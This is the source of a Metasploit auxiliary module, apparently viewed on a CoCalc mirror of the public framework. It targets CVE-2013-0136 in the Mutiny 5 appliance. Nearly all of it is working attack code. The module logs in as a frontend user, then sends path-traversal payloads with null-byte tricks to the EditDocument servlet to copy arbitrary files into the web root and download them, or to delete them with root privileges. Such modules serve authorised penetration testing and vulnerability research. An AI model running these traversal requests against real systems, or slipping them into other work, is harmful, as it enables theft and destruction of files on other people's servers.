CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/admin/http/mutiny_frontend_read_delete.rb
Views: 11783
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Auxiliary
7
include Msf::Exploit::Remote::HttpClient
8
9
def initialize(info = {})
10
super(
11
update_info(
12
info,
13
'Name' => 'Mutiny 5 Arbitrary File Read and Delete',
14
'Description' => %q{
15
This module exploits the EditDocument servlet from the frontend on the Mutiny 5
16
appliance. The EditDocument servlet provides file operations, such as copy and
17
delete, which are affected by a directory traversal vulnerability. Because of this,
18
any authenticated frontend user can read and delete arbitrary files from the system
19
with root privileges. In order to exploit the vulnerability a valid user (any role)
20
in the web frontend is required. The module has been tested successfully on the
21
Mutiny 5.0-1.07 appliance.
22
},
23
'Author' => [
24
'juan vazquez' # Metasploit module and initial discovery
25
],
26
'License' => MSF_LICENSE,
27
'References' => [
28
[ 'CVE', '2013-0136' ],
29
[ 'US-CERT-VU', '701572' ],
30
[ 'URL', 'https://www.rapid7.com/blog/post/2013/05/15/new-1day-exploits-mutiny-vulnerabilities/' ]
31
],
32
'Actions' => [
33
['Read', { 'Description' => 'Read arbitrary file' }],
34
['Delete', { 'Description' => 'Delete arbitrary file' }]
35
],
36
'DefaultAction' => 'Read',
37
'DisclosureDate' => '2013-05-15'
38
)
39
)
40
41
register_options(
42
[
43
Opt::RPORT(80),
44
OptString.new('TARGETURI', [true, 'Path to Mutiny Web Service', '/']),
45
OptString.new('USERNAME', [ true, 'The user to authenticate as', '[email protected]' ]),
46
OptString.new('PASSWORD', [ true, 'The password to authenticate with', 'password' ]),
47
OptString.new('PATH', [ true, 'The file to read or delete' ]),
48
]
49
)
50
end
51
52
def run
53
print_status('Trying to login')
54
if login
55
print_good('Login Successful')
56
else
57
print_error('Login failed, review USERNAME and PASSWORD options')
58
return
59
end
60
61
case action.name
62
when 'Read'
63
read_file(datastore['PATH'])
64
when 'Delete'
65
delete_file(datastore['PATH'])
66
end
67
end
68
69
def read_file(file)
70
print_status('Copying file to Web location...')
71
72
dst_path = '/usr/jakarta/tomcat/webapps/ROOT/m/'
73
res = send_request_cgi(
74
{
75
'uri' => normalize_uri(target_uri.path, 'interface', 'EditDocument'),
76
'method' => 'POST',
77
'cookie' => "JSESSIONID=#{@session}",
78
'encode_params' => false,
79
'vars_post' => {
80
'operation' => 'COPY',
81
'paths[]' => "../../../../#{file}%00.txt",
82
'newPath' => "../../../..#{dst_path}"
83
}
84
}
85
)
86
87
if res && (res.code == 200) && res.body =~ (/\{"success":true\}/)
88
print_good("File #{file} copied to #{dst_path} successfully")
89
else
90
print_error("Failed to copy #{file} to #{dst_path}")
91
end
92
93
print_status('Retrieving file contents...')
94
95
res = send_request_cgi(
96
{
97
'uri' => normalize_uri(target_uri.path, 'm', ::File.basename(file)),
98
'method' => 'GET'
99
}
100
)
101
102
if res && (res.code == 200)
103
store_path = store_loot('mutiny.frontend.data', 'application/octet-stream', rhost, res.body, file)
104
print_good("File successfully retrieved and saved on #{store_path}")
105
else
106
print_error('Failed to retrieve file')
107
end
108
109
# Cleanup
110
delete_file("#{dst_path}#{::File.basename(file)}")
111
end
112
113
def delete_file(file)
114
print_status("Deleting file #{file}")
115
116
res = send_request_cgi(
117
{
118
'uri' => normalize_uri(target_uri.path, 'interface', 'EditDocument'),
119
'method' => 'POST',
120
'cookie' => "JSESSIONID=#{@session}",
121
'vars_post' => {
122
'operation' => 'DELETE',
123
'paths[]' => "../../../../#{file}"
124
}
125
}
126
)
127
128
if res && (res.code == 200) && res.body =~ (/\{"success":true\}/)
129
print_good("File #{file} deleted")
130
else
131
print_error("Error deleting file #{file}")
132
end
133
end
134
135
def login
136
res = send_request_cgi(
137
{
138
'uri' => normalize_uri(target_uri.path, 'interface', 'index.do'),
139
'method' => 'GET'
140
}
141
)
142
143
if res && (res.code == 200) && res.get_cookies =~ (/JSESSIONID=(.*);/)
144
first_session = ::Regexp.last_match(1)
145
end
146
147
res = send_request_cgi(
148
{
149
'uri' => normalize_uri(target_uri.path, 'interface', 'j_security_check'),
150
'method' => 'POST',
151
'cookie' => "JSESSIONID=#{first_session}",
152
'vars_post' => {
153
'j_username' => datastore['USERNAME'],
154
'j_password' => datastore['PASSWORD']
155
}
156
}
157
)
158
159
if !res || (res.code != 302) || res.headers['Location'] !~ (%r{interface/index.do})
160
return false
161
end
162
163
res = send_request_cgi(
164
{
165
'uri' => normalize_uri(target_uri.path, 'interface', 'index.do'),
166
'method' => 'GET',
167
'cookie' => "JSESSIONID=#{first_session}"
168
}
169
)
170
171
if res && (res.code == 200) && res.get_cookies =~ (/JSESSIONID=(.*);/)
172
@session = ::Regexp.last_match(1)
173
return true
174
end
175
176
return false
177
end
178
end
179
180